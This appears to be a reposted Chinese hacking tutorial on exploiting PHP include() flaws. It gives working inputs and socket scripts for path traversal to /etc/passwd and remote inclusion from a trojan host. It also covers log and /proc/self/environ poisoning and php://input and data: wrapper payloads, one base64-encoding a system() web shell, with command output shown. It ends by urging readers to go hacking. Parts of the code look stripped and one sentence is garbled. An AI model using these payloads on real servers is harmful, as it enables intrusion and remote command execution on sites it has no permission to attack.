================ php包含漏洞替代技術 ================ php開發者們犯得一個基本的錯誤是把一個不正當的變量傳遞給系統函數,特別是include()和require()這兩個函數。 這個常見的錯誤導致了眾所周知的遠程文件包含漏洞和本地文件包含漏洞。在過去的幾年中,php已經開始試圖通過缺省設置來消除或限制這種漏洞的所帶來影響。 但即使是簡單的本地文件包含,也會有新的技術去利用這些漏洞來導致遠程命令的執行。 ================ 介紹php包含漏洞 ================ 文件包含漏洞的要點是要去找到一個方法來包含帶有你的php惡意代碼的文件。 include($_GET['content']); ?> http://target/index.php?content=/etc/pa sswd http://target/index.php?content=http://trojan/exec.php 這是第一個例子,它包含了本地文件/etc/pa sswd第二個例子包含了一個遠程文件,這個遠程包含文件在大多數情況下不能使用,因為php設置中的allow_url_fopen默認是off。 當然,通常有此漏洞的php代碼會比上面的例子更有限制性,通常是通過在前面加上一個目錄,防止遠程文件包含,前面加一個文件擴展名來限制可以包含哪些類型的文件。 include("pages/".$_GET['content'].".php"); ?> http://target/index.php?content=../../../etc/pa sswd%00 .../的使用允許目錄橫向風格的操作,使你可以操作代碼中預定目錄以外的目錄的文件。 如果php設置中open_basedir為on,它將會阻止你繞過過多的目錄。 網站的開發者有可能也會使用一些函數來過濾掉來自用戶提交的惡意數據,但并非總是如此。 空字節字符%00(\0)終止字符串,來切斷在它之后提交的任何東西,即是當magic_quotes_gpc 默認為on的時候,也可以逃過。 在http://ush.it網站中有一篇名為《PHP文件系統的攻擊媒介》提供了可能的方法來應付空字節字符。 php腳本安全也可能取決于像$_GLOBAL[]或$_SERVER[]等的變量,像最近被發現的phplist的漏洞(phplist是一款國外的Email程序),例子為 http://target/phplist/admin/?_SERVER[ConfigFile]=/etc/pa sswd ================== 本地文件包含致遠程代碼執行 ================== 一次你找到一個本地包含漏洞,你需要找到一個方法去把你的惡意php代碼插入一個文件中,大量的技術在過去的幾年中出現。 有一種在服務日志中去注入php代碼的技術比上面這些包含漏洞要出現的晚。 它是有可能的去把我們的代碼插入http請求的頭部,然后包含Apache的access_log日志文件(它可能會進行一些測試去找到access_log)。 考慮一下這個例子,在Mac OS X的Apache/PHP默認配置下,寫一個腳本去發送一個請求可能是必須的,因為瀏覽器可能會對一些字符進行轉義。 $a = fsockopen("localhost",80); fwrite($a,"GET / HTTP/1.1\r\n". "Host: localhost\r\n". "Connection: Close\r\n\r\n"); fclose($a); ?> https://www.jb51.net /index.php?content=/var/log/httpd/access_log&cmd=id 另一種方法是包括了Apache/PHP進程的環境變量的/proc/ self/environ文件。 如果我們將惡意代碼插入User-Agent 的頭部,這些代碼會出現在那個文件里,所以遠程執行代碼是可能的。 /proc/ self/environ必須是可讀的 $a = fsockopen("localhost",80); fwrite($a,"GET /../../../../proc/ self/environ HTTP/1.1\r\n". "User-Agent: \r\n". "Host: localhost\r\n". "Connection: Close\r\n\r\n"); fclose($a); ?> ================= Php封裝包含漏洞 ==================== 利用php的include函數的另一種方法是利用php封裝(http://www.php.net/wrappers.php)。這個例子將使用PHP輸入,從一個HTTP POST請求的原始數據并執行它: 漏洞代碼: include($_GET['content']); ?> 我們的請求: $request = ""; $req = "POST /index.php?content=php://input HTTP/1.1\r\n". "Host: localhost\r\n". "Content-type: text/html\r\n". "Content-length: ".strlen($request)."\r\n". "Connection: Close\r\n\r\n". "$request \r\n\r\n"; $a = fsockopen("10.0.2.2",80); fwrite($a,$req); echo $req; while (!feof($a)){echo fgets($a, 128);} fclose($a); ?> 得到的結果:uid=33(www-data) gid=33(www-data) groups=33(www-data) 這個例子的前提是allow_url_include和allow_fopen_include兩個選項設置為ON,在這種情況下,標準的遠程文件包含是可能的。 這個方法的優點是它不依賴于外部儲存文件服務器。 cr0w-at.blogspot.com提到另一種技術使用"數據:"封裝: index.php?content=data:,?&c=dir 或者base64編碼過的: index.php?content=data:;base64, \PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir ============ 總結 ============ 這些方法大多都不是新的,并沒有表現出缺陷或在PHP語言本身的局限性。這些問題通?梢酝ㄟ^強大的輸入驗證,常識編碼,和一些預防更嚴格的服務器配置。 然而,許多問題并不是很快能消失的(SQL注入等),所以開心的去黑吧。 *本文中闡述的漏洞不會存在于Silic Group的網站 *如果你足夠細心,你會發現文中很多關鍵字,例如敏感路徑、敏感函數,都被加了個空格 *是因為服務器的防火墻會攔截此類關鍵字,檢測到關鍵字時服務器就會顯示501/503錯誤 *這就是BlackBap.Org所在服務器攔截的原因 *本站管理員注:-) 作者:Anonymous |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信